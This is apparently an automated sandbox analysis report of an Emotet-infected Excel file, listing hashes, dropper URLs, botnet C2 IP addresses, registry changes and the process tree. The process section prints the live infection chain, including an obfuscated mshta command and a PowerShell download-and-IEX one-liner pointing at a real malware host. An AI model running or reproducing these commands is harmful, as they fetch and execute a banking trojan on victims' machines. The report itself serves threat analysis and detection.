emotet | d3555d24f820403e1e49c53898a3c54f58077c83bd4738ad9a0e2210d457baae

Analysis

max time kernel
134s
max time network
148s
platform
windows7_x64
resource
win7-en-20211208
submitted
28-01-2022 02:31

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General

Target

EHZ816141086RS.xls
Size

47KB
MD5

b297dd00c8d7b450371f60b877a4e4a0
SHA1

95e435fcfff850f3a176f43517344101c6eee845
SHA256

d3555d24f820403e1e49c53898a3c54f58077c83bd4738ad9a0e2210d457baae
SHA512

a4a84bc4784c0461a712622db68524a4a3eb5da176b4d1b18c87fcb65c6bc33498fad801e4803aa53f7ac00bb724bfcd1899710f27c497936eec0c5f54750317

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	704	840	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 608 mshta.exe
5 1632 powershell.exe
7 1632 powershell.exe
9 1652 rundll32.exe
11 1652 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1120 rundll32.exe
1120 rundll32.exe
1120 rundll32.exe
1120 rundll32.exe
1696 rundll32.exe
1696 rundll32.exe
1696 rundll32.exe
1696 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Bmotfulghmxav\mvqwrqwcrbr.bsu rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	608	mshta.exe
5	1632	powershell.exe
7	1632	powershell.exe
9	1652	rundll32.exe
11	1652	rundll32.exe

pid	process
1120	rundll32.exe
1120	rundll32.exe
1120	rundll32.exe
1120	rundll32.exe
1696	rundll32.exe
1696	rundll32.exe
1696	rundll32.exe
1696	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Bmotfulghmxav\mvqwrqwcrbr.bsu	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

840 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1632 powershell.exe
1652 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1632 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

840 EXCEL.EXE
840 EXCEL.EXE
840 EXCEL.EXE

pid	process
840	EXCEL.EXE

pid	process
1632	powershell.exe
1652	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1632	powershell.exe

pid	process
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 840 wrote to memory of 704	840	EXCEL.EXE	CMD.EXE
PID 840 wrote to memory of 704	840	EXCEL.EXE	CMD.EXE
PID 840 wrote to memory of 704	840	EXCEL.EXE	CMD.EXE
PID 840 wrote to memory of 704	840	EXCEL.EXE	CMD.EXE
PID 704 wrote to memory of 608	704	CMD.EXE	mshta.exe
PID 704 wrote to memory of 608	704	CMD.EXE	mshta.exe
PID 704 wrote to memory of 608	704	CMD.EXE	mshta.exe
PID 704 wrote to memory of 608	704	CMD.EXE	mshta.exe
PID 608 wrote to memory of 1632	608	mshta.exe	powershell.exe
PID 608 wrote to memory of 1632	608	mshta.exe	powershell.exe
PID 608 wrote to memory of 1632	608	mshta.exe	powershell.exe
PID 608 wrote to memory of 1632	608	mshta.exe	powershell.exe
PID 1632 wrote to memory of 2028	1632	powershell.exe	cmd.exe
PID 1632 wrote to memory of 2028	1632	powershell.exe	cmd.exe
PID 1632 wrote to memory of 2028	1632	powershell.exe	cmd.exe
PID 1632 wrote to memory of 2028	1632	powershell.exe	cmd.exe
PID 2028 wrote to memory of 1120	2028	cmd.exe	rundll32.exe
PID 2028 wrote to memory of 1120	2028	cmd.exe	rundll32.exe
PID 2028 wrote to memory of 1120	2028	cmd.exe	rundll32.exe
PID 2028 wrote to memory of 1120	2028	cmd.exe	rundll32.exe
PID 2028 wrote to memory of 1120	2028	cmd.exe	rundll32.exe
PID 2028 wrote to memory of 1120	2028	cmd.exe	rundll32.exe
PID 2028 wrote to memory of 1120	2028	cmd.exe	rundll32.exe
PID 1120 wrote to memory of 1696	1120	rundll32.exe	rundll32.exe
PID 1120 wrote to memory of 1696	1120	rundll32.exe	rundll32.exe
PID 1120 wrote to memory of 1696	1120	rundll32.exe	rundll32.exe
PID 1120 wrote to memory of 1696	1120	rundll32.exe	rundll32.exe
PID 1120 wrote to memory of 1696	1120	rundll32.exe	rundll32.exe
PID 1120 wrote to memory of 1696	1120	rundll32.exe	rundll32.exe
PID 1120 wrote to memory of 1696	1120	rundll32.exe	rundll32.exe
PID 1696 wrote to memory of 1364	1696	rundll32.exe	rundll32.exe
PID 1696 wrote to memory of 1364	1696	rundll32.exe	rundll32.exe
PID 1696 wrote to memory of 1364	1696	rundll32.exe	rundll32.exe
PID 1696 wrote to memory of 1364	1696	rundll32.exe	rundll32.exe
PID 1696 wrote to memory of 1364	1696	rundll32.exe	rundll32.exe
PID 1696 wrote to memory of 1364	1696	rundll32.exe	rundll32.exe
PID 1696 wrote to memory of 1364	1696	rundll32.exe	rundll32.exe
PID 1364 wrote to memory of 1652	1364	rundll32.exe	rundll32.exe
PID 1364 wrote to memory of 1652	1364	rundll32.exe	rundll32.exe
PID 1364 wrote to memory of 1652	1364	rundll32.exe	rundll32.exe
PID 1364 wrote to memory of 1652	1364	rundll32.exe	rundll32.exe
PID 1364 wrote to memory of 1652	1364	rundll32.exe	rundll32.exe
PID 1364 wrote to memory of 1652	1364	rundll32.exe	rundll32.exe
PID 1364 wrote to memory of 1652	1364	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\EHZ816141086RS.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:840

C:\Windows\SysWOW64\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:704

C:\Windows\SysWOW64\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:608

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1632

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:2028

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1120

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1696

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bmotfulghmxav\mvqwrqwcrbr.bsu",QAOaOPGNmJCjEMh
8⤵
- Suspicious use of WriteProcessMemory
PID:1364

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bmotfulghmxav\mvqwrqwcrbr.bsu",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1652

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
4739fcdd312a0287b93fe1e968b2aafe

SHA1
f2aa748a0bf5f52e1919cb3b9e24ed5b65701a71

SHA256
b7d873fd9a5c897cd22f36869f7c2fa335de5b14c898c86511c4bc7c7e0f2748

SHA512
32a120e8170a09dd5313f057c9095cc49d57314b482e1f072ace7bdcf7c2c9d9574bb3a8ca6ba2ec8b729160051d5a7d393fcdb8c31455b022a5f4fe25247f76

Download Submit
\ProgramData\QWER.dll
MD5
4739fcdd312a0287b93fe1e968b2aafe

SHA1
f2aa748a0bf5f52e1919cb3b9e24ed5b65701a71

SHA256
b7d873fd9a5c897cd22f36869f7c2fa335de5b14c898c86511c4bc7c7e0f2748

SHA512
32a120e8170a09dd5313f057c9095cc49d57314b482e1f072ace7bdcf7c2c9d9574bb3a8ca6ba2ec8b729160051d5a7d393fcdb8c31455b022a5f4fe25247f76

Download Submit
\ProgramData\QWER.dll
MD5
4739fcdd312a0287b93fe1e968b2aafe

SHA1
f2aa748a0bf5f52e1919cb3b9e24ed5b65701a71

SHA256
b7d873fd9a5c897cd22f36869f7c2fa335de5b14c898c86511c4bc7c7e0f2748

SHA512
32a120e8170a09dd5313f057c9095cc49d57314b482e1f072ace7bdcf7c2c9d9574bb3a8ca6ba2ec8b729160051d5a7d393fcdb8c31455b022a5f4fe25247f76

Download Submit
\ProgramData\QWER.dll
MD5
4739fcdd312a0287b93fe1e968b2aafe

SHA1
f2aa748a0bf5f52e1919cb3b9e24ed5b65701a71

SHA256
b7d873fd9a5c897cd22f36869f7c2fa335de5b14c898c86511c4bc7c7e0f2748

SHA512
32a120e8170a09dd5313f057c9095cc49d57314b482e1f072ace7bdcf7c2c9d9574bb3a8ca6ba2ec8b729160051d5a7d393fcdb8c31455b022a5f4fe25247f76

Download Submit
\ProgramData\QWER.dll
MD5
4739fcdd312a0287b93fe1e968b2aafe

SHA1
f2aa748a0bf5f52e1919cb3b9e24ed5b65701a71

SHA256
b7d873fd9a5c897cd22f36869f7c2fa335de5b14c898c86511c4bc7c7e0f2748

SHA512
32a120e8170a09dd5313f057c9095cc49d57314b482e1f072ace7bdcf7c2c9d9574bb3a8ca6ba2ec8b729160051d5a7d393fcdb8c31455b022a5f4fe25247f76

Download Submit
\ProgramData\QWER.dll
MD5
4739fcdd312a0287b93fe1e968b2aafe

SHA1
f2aa748a0bf5f52e1919cb3b9e24ed5b65701a71

SHA256
